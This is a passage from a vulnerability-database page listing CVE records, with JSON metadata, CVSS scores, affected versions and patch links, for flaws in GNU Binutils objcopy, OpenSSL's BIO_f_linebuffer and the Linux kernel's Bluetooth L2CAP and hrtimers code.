        },
        {
          "cvssV3_1": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 4.3,
            "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P/E:POC/RL:OF/RC:C",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-122",
              "description": "Heap-based Buffer Overflow",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-119",
              "description": "Memory Corruption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-07-13T21:44:08.027Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "name": "VDB-316243 | GNU Binutils objcopy.c copy_section heap-based overflow",
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.316243"
        },
        {
          "name": "VDB-316243 | CTI Indicators (IOB, IOC, IOA)",
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.316243"
        },
        {
          "name": "Submit #614355 | GNU binutils--gdb 2.45 Heap-based Buffer Overflow",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://vuldb.com/?submit.614355"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33049"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33049#c1"
        },
        {
          "tags": [
            "exploit"
          ],
          "url": "https://sourceware.org/bugzilla/attachment.cgi?id=16117"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=08c3cbe5926e4d355b5cb70bbec2b1eeb40c2944"
        },
        {
          "tags": [
            "product"
          ],
          "url": "https://www.gnu.org/"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2025-07-12T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2025-07-12T02:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2025-07-12T19:05:21.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "GNU Binutils objcopy.c copy_section heap-based overflow"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2025-7545",
    "datePublished": "2025-07-13T21:44:08.027Z",
    "dateReserved": "2025-07-12T17:00:12.513Z",
    "dateUpdated": "2026-05-12T12:02:34.852Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-68160 (GCVE-0-2025-68160)

Vulnerability from cvelistv5 – Published: 2026-01-27 16:01 – Updated: 2026-05-12 12:08

Title

Heap out-of-bounds write in BIO_f_linebuffer on short writes

Summary

Issue summary: Writing large, newline-free data into a BIO chain using the line-buffering filter where the next BIO performs short writes can trigger a heap-based out-of-bounds write. Impact summary: This out-of-bounds write can cause memory corruption which typically results in a crash, leading to Denial of Service for an application. The line-buffering BIO filter (BIO_f_linebuffer) is not used by default in TLS/SSL data paths. In OpenSSL command-line applications, it is typically only pushed onto stdout/stderr on VMS systems. Third-party applications that explicitly use this filter with a BIO chain that can short-write and that write large, newline-free data influenced by an attacker would be affected. However, the circumstances where this could happen are unlikely to be under attacker control, and BIO_f_linebuffer is unlikely to be handling non-curated data controlled by an attacker. For that reason the issue was assessed as Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the BIO implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

Severity ?

No CVSS data available.

CWE

CWE-787 - Out-of-bounds Write

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260127.txt	vendor-advisory
https://github.com/openssl/openssl/commit/4c96fbb…	patch
https://github.com/openssl/openssl/commit/6845c3b…	patch
https://github.com/openssl/openssl/commit/68a7cd2…	patch
https://github.com/openssl/openssl/commit/3840112…	patch
https://github.com/openssl/openssl/commit/475c466…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.1 (semver) Affected: 3.5.0 , < 3.5.5 (semver) Affected: 3.4.0 , < 3.4.4 (semver) Affected: 3.3.0 , < 3.3.6 (semver) Affected: 3.0.0 , < 3.0.19 (semver) Affected: 1.1.1 , < 1.1.1ze (custom) Affected: 1.0.2 , < 1.0.2zn (custom)

Date Public ?

2026-01-27 14:00

Credits

Petr Šimeček (Aisle Research) Stanislav Fort (Aisle Research) Stanislav Fort (Aisle Research) Neil Horman

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 4.7,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-68160",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-29T15:04:54.880991Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-29T15:06:04.443Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:08:39.602Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.1",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.5",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.4",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.6",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.19",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1ze",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zn",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Petr \u0160ime\u010dek (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "Stanislav Fort (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Stanislav Fort (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Neil Horman"
        }
      ],
      "datePublic": "2026-01-27T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: Writing large, newline-free data into a BIO chain using the\u003cbr\u003eline-buffering filter where the next BIO performs short writes can trigger\u003cbr\u003ea heap-based out-of-bounds write.\u003cbr\u003e\u003cbr\u003eImpact summary: This out-of-bounds write can cause memory corruption which\u003cbr\u003etypically results in a crash, leading to Denial of Service for an application.\u003cbr\u003e\u003cbr\u003eThe line-buffering BIO filter (BIO_f_linebuffer) is not used by default in\u003cbr\u003eTLS/SSL data paths. In OpenSSL command-line applications, it is typically\u003cbr\u003eonly pushed onto stdout/stderr on VMS systems. Third-party applications that\u003cbr\u003eexplicitly use this filter with a BIO chain that can short-write and that\u003cbr\u003ewrite large, newline-free data influenced by an attacker would be affected.\u003cbr\u003eHowever, the circumstances where this could happen are unlikely to be under\u003cbr\u003eattacker control, and BIO_f_linebuffer is unlikely to be handling non-curated\u003cbr\u003edata controlled by an attacker. For that reason the issue was assessed as\u003cbr\u003eLow severity.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\u003cbr\u003eas the BIO implementation is outside the OpenSSL FIPS module boundary.\u003cbr\u003e\u003cbr\u003eOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue."
            }
          ],
          "value": "Issue summary: Writing large, newline-free data into a BIO chain using the\nline-buffering filter where the next BIO performs short writes can trigger\na heap-based out-of-bounds write.\n\nImpact summary: This out-of-bounds write can cause memory corruption which\ntypically results in a crash, leading to Denial of Service for an application.\n\nThe line-buffering BIO filter (BIO_f_linebuffer) is not used by default in\nTLS/SSL data paths. In OpenSSL command-line applications, it is typically\nonly pushed onto stdout/stderr on VMS systems. Third-party applications that\nexplicitly use this filter with a BIO chain that can short-write and that\nwrite large, newline-free data influenced by an attacker would be affected.\nHowever, the circumstances where this could happen are unlikely to be under\nattacker control, and BIO_f_linebuffer is unlikely to be handling non-curated\ndata controlled by an attacker. For that reason the issue was assessed as\nLow severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the BIO implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-787",
              "description": "CWE-787 Out-of-bounds Write",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-27T16:01:23.181Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260127.txt"
        },
        {
          "name": "3.6.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/4c96fbba618e1940f038012506ee9e21d32ee12c"
        },
        {
          "name": "3.5.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/6845c3b6460a98b1ec4e463baa2ea1a63a32d7c0"
        },
        {
          "name": "3.4.4 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/68a7cd2e2816c3a02f4d45a2ce43fc04fac97096"
        },
        {
          "name": "3.3.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/384011202af92605d926fafe4a0bcd6b65d162ad"
        },
        {
          "name": "3.0.19 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/475c466ef2fbd8fc1df6fae1c3eed9c813fc8ff6"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Heap out-of-bounds write in BIO_f_linebuffer on short writes",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2025-68160",
    "datePublished": "2026-01-27T16:01:23.181Z",
    "dateReserved": "2025-12-16T09:20:53.257Z",
    "dateUpdated": "2026-05-12T12:08:39.602Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58009 (GCVE-0-2024-58009)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:12 – Updated: 2026-05-12 12:01

Title

Bluetooth: L2CAP: handle NULL sock pointer in l2cap_sock_alloc

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: handle NULL sock pointer in l2cap_sock_alloc A NULL sock pointer is passed into l2cap_sock_alloc() when it is called from l2cap_sock_new_connection_cb() and the error handling paths should also be aware of it. Seemingly a more elegant solution would be to swap bt_sock_alloc() and l2cap_chan_create() calls since they are not interdependent to that moment but then l2cap_chan_create() adds the soon to be deallocated and still dummy-initialized channel to the global list accessible by many L2CAP paths. The channel would be removed from the list in short period of time but be a bit more straight-forward here and just check for NULL instead of changing the order of function calls. Found by Linux Verification Center (linuxtesting.org) with SVACE static analysis tool.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/a9a7672fc1a0fe185…
https://git.kernel.org/stable/c/8e605f580a97530e5…
https://git.kernel.org/stable/c/cf601a24120c674cd…
https://git.kernel.org/stable/c/297ce7f544aa675b0…
https://git.kernel.org/stable/c/245d48c1ba3e7a177…
https://git.kernel.org/stable/c/691218a50c3139f7f…
https://git.kernel.org/stable/c/49c0d55d59662430f…
https://git.kernel.org/stable/c/5f397409f8ee5bc82…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: f6ad641646b67f29c7578dcd6c25813c7dcbf51e , < a9a7672fc1a0fe18502493936ccb06413ab89ea6 (git) Affected: daa13175a6dea312a76099066cb4cbd4fc959a84 , < 8e605f580a97530e5a3583beea458a3fa4cbefbd (git) Affected: a8677028dd5123e5e525b8195483994d87123de4 , < cf601a24120c674cd7c907ea695f92617af6abd0 (git) Affected: bb2f2342a6ddf7c04f9aefbbfe86104cd138e629 , < 297ce7f544aa675b0d136d788cad0710cdfb0785 (git) Affected: 8ad09ddc63ace3950ac43db6fbfe25b40f589dd6 , < 245d48c1ba3e7a1779c2f4cbc6f581ddc8a78e22 (git) Affected: 61686abc2f3c2c67822aa23ce6f160467ec83d35 , < 691218a50c3139f7f57ffa79fb89d932eda9571e (git) Affected: 7c4f78cdb8e7501e9f92d291a7d956591bf73be9 , < 49c0d55d59662430f1829ae85b969619573d0fa1 (git) Affected: 7c4f78cdb8e7501e9f92d291a7d956591bf73be9 , < 5f397409f8ee5bc82901eeaf799e1cbc4f8edcf1 (git)
Linux	Linux	Affected: 6.13 Unaffected: 0 , < 6.13 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:22.791Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:51.321Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/l2cap_sock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a9a7672fc1a0fe18502493936ccb06413ab89ea6",
              "status": "affected",
              "version": "f6ad641646b67f29c7578dcd6c25813c7dcbf51e",
              "versionType": "git"
            },
            {
              "lessThan": "8e605f580a97530e5a3583beea458a3fa4cbefbd",
              "status": "affected",
              "version": "daa13175a6dea312a76099066cb4cbd4fc959a84",
              "versionType": "git"
            },
            {
              "lessThan": "cf601a24120c674cd7c907ea695f92617af6abd0",
              "status": "affected",
              "version": "a8677028dd5123e5e525b8195483994d87123de4",
              "versionType": "git"
            },
            {
              "lessThan": "297ce7f544aa675b0d136d788cad0710cdfb0785",
              "status": "affected",
              "version": "bb2f2342a6ddf7c04f9aefbbfe86104cd138e629",
              "versionType": "git"
            },
            {
              "lessThan": "245d48c1ba3e7a1779c2f4cbc6f581ddc8a78e22",
              "status": "affected",
              "version": "8ad09ddc63ace3950ac43db6fbfe25b40f589dd6",
              "versionType": "git"
            },
            {
              "lessThan": "691218a50c3139f7f57ffa79fb89d932eda9571e",
              "status": "affected",
              "version": "61686abc2f3c2c67822aa23ce6f160467ec83d35",
              "versionType": "git"
            },
            {
              "lessThan": "49c0d55d59662430f1829ae85b969619573d0fa1",
              "status": "affected",
              "version": "7c4f78cdb8e7501e9f92d291a7d956591bf73be9",
              "versionType": "git"
            },
            {
              "lessThan": "5f397409f8ee5bc82901eeaf799e1cbc4f8edcf1",
              "status": "affected",
              "version": "7c4f78cdb8e7501e9f92d291a7d956591bf73be9",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/l2cap_sock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.13"
            },
            {
              "lessThan": "6.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "5.4.287",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.10.231",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.15.174",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "6.1.120",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "6.6.66",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "6.12.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "6.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "6.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: handle NULL sock pointer in l2cap_sock_alloc\n\nA NULL sock pointer is passed into l2cap_sock_alloc() when it is called\nfrom l2cap_sock_new_connection_cb() and the error handling paths should\nalso be aware of it.\n\nSeemingly a more elegant solution would be to swap bt_sock_alloc() and\nl2cap_chan_create() calls since they are not interdependent to that moment\nbut then l2cap_chan_create() adds the soon to be deallocated and still\ndummy-initialized channel to the global list accessible by many L2CAP\npaths. The channel would be removed from the list in short period of time\nbut be a bit more straight-forward here and just check for NULL instead of\nchanging the order of function calls.\n\nFound by Linux Verification Center (linuxtesting.org) with SVACE static\nanalysis tool."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:02.041Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a9a7672fc1a0fe18502493936ccb06413ab89ea6"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e605f580a97530e5a3583beea458a3fa4cbefbd"
        },
        {
          "url": "https://git.kernel.org/stable/c/cf601a24120c674cd7c907ea695f92617af6abd0"
        },
        {
          "url": "https://git.kernel.org/stable/c/297ce7f544aa675b0d136d788cad0710cdfb0785"
        },
        {
          "url": "https://git.kernel.org/stable/c/245d48c1ba3e7a1779c2f4cbc6f581ddc8a78e22"
        },
        {
          "url": "https://git.kernel.org/stable/c/691218a50c3139f7f57ffa79fb89d932eda9571e"
        },
        {
          "url": "https://git.kernel.org/stable/c/49c0d55d59662430f1829ae85b969619573d0fa1"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f397409f8ee5bc82901eeaf799e1cbc4f8edcf1"
        }
      ],
      "title": "Bluetooth: L2CAP: handle NULL sock pointer in l2cap_sock_alloc",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58009",
    "datePublished": "2025-02-27T02:12:04.637Z",
    "dateReserved": "2025-02-27T02:10:48.227Z",
    "dateUpdated": "2026-05-12T12:01:51.321Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57951 (GCVE-0-2024-57951)

Vulnerability from cvelistv5 – Published: 2025-02-12 13:27 – Updated: 2026-05-12 12:01

Title

hrtimers: Handle CPU state correctly on hotplug

Summary

In the Linux kernel, the following vulnerability has been resolved: hrtimers: Handle CPU state correctly on hotplug Consider a scenario where a CPU transitions from CPUHP_ONLINE to halfway through a CPU hotunplug down to CPUHP_HRTIMERS_PREPARE, and then back to CPUHP_ONLINE: Since hrtimers_prepare_cpu() does not run, cpu_base.hres_active remains set to 1 throughout. However, during a CPU unplug operation, the tick and the clockevents are shut down at CPUHP_AP_TICK_DYING. On return to the online state, for instance CFS incorrectly assumes that the hrtick is already active, and the chance of the clockevent device to transition to oneshot mode is also lost forever for the CPU, unless it goes back to a lower state than CPUHP_HRTIMERS_PREPARE once. This round-trip reveals another issue; cpu_base.online is not set to 1 after the transition, which appears as a WARN_ON_ONCE in enqueue_hrtimer(). Aside of that, the bulk of the per CPU state is not reset either, which means there are dangling pointers in the worst case. Address this by adding a corresponding startup() callback, which resets the stale per CPU state and sets the online flag. [ tglx: Make the new callback unconditionally available, remove the online modification in the prepare() callback and clear the remaining state in the starting callback instead of the prepare callback ]

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/95e4f62df23f4df1c…
https://git.kernel.org/stable/c/14984139f1f276888…
https://git.kernel.org/stable/c/15b453db41d36184c…
https://git.kernel.org/stable/c/3d41dbf82e10c44e5…
https://git.kernel.org/stable/c/a5cbbea145b400e40…
https://git.kernel.org/stable/c/38492f6ee883c7b1d…
https://git.kernel.org/stable/c/2f8dea1692eef2b7b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 54d0d83a53508d687fd4a225f8aa1f18559562d0 , < 95e4f62df23f4df1ce6ef897d44b8e23c260921a (git) Affected: 7f4c89400d2997939f6971c7981cc780a219e36b , < 14984139f1f2768883332965db566ef26db609e7 (git) Affected: 6fcbcc6c8e52650749692c7613cbe71bf601670d , < 15b453db41d36184cf0ccc21e7df624014ab6a1a (git) Affected: 75b5016ce325f1ef9c63e5398a1064cf8a7a7354 , < 3d41dbf82e10c44e53ea602398ab002baec27e75 (git) Affected: 53f408cad05bb987af860af22f4151e5a18e6ee8 , < a5cbbea145b400e40540c34816d16d36e0374fbc (git) Affected: 5c0930ccaad5a74d74e8b18b648c5eb21ed2fe94 , < 38492f6ee883c7b1d33338bf531a62cff69b4b28 (git) Affected: 5c0930ccaad5a74d74e8b18b648c5eb21ed2fe94 , < 2f8dea1692eef2b7ba6a256246ed82c365fdc686 (git) Affected: 9a2fc41acb69dd4e2a58d0c04346c3333c2341fc (git)
Linux	Linux	Affected: 6.7 Unaffected: 0 , < 6.7 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.74 , ≤ 6.6.* (semver) Unaffected: 6.12.11 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-57951",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:51:21.225809Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:57:09.911Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:56:20.172Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
